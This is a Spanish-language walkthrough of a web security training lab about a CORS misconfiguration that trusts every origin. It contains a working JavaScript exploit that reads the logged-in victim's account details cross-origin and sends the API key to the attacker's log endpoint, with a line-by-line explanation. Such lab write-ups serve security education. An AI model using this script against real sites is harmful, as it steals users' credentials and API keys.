
Descripción
This website has an insecure CORS configuration in that it trusts all origins.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.
You can log in to your own account using the following credentials: wiener:peter
CORS vulnerability with basic origin reflection writeup
Al entrar en el laboratorio encontraremos una tienda online.

Al entrar en ‘My account’ con el usuario ‘wiener’ y la contraseña ‘peter’ veremos que nos devuelve la API Key del usuario que tendremos que obtener del administrador.

Analizando la petición que se realiza, vemos que se hace a ‘/accountDetails’, de donde se obtiene la API Key:

También vemos que la petición tiene ‘Access-Control-Allow-Credentials: true’, por lo que puede ser vulnerable a CORS.
En el navegador, pulsamos en ‘Go to exploit server’ e introducimos el siguiente script:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a7e00af03c6fbc4806d7bb300bd00b9.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
Vamos a analizar el código paso a paso:
var req = new XMLHttpRequest();
: Se crea una solicitud HTTP.req.onload = reqListener;
: Cuando se cargue la solicitud HTTP, tomará el valor de la función reqListener().- r
eq.open(param1, param2);
: Configura la petición con el Método HTTP param1 a la URL param2. req.withCredentials = true;
: Añade a la petición las cookies del usuarioreq.send();
: Envía la peticiónlocation='/log?key='+this.responseText;
: Realiza un cambio de URL a ‘/log’ y le añade como parámetro la información obtenida (this
) en formato de texto (.responseText
).

Copiamos la cadena y vamos a Cyberchef, donde decodificaremos de URL el texto para obtener la key:

En mi caso es ‘mt2bbXrpDz9dNuRo8HswXhEjCRZ0M1xa’. Vamos ahora a ‘Submit solution’ y al introducirla completaremos el laboratorio:
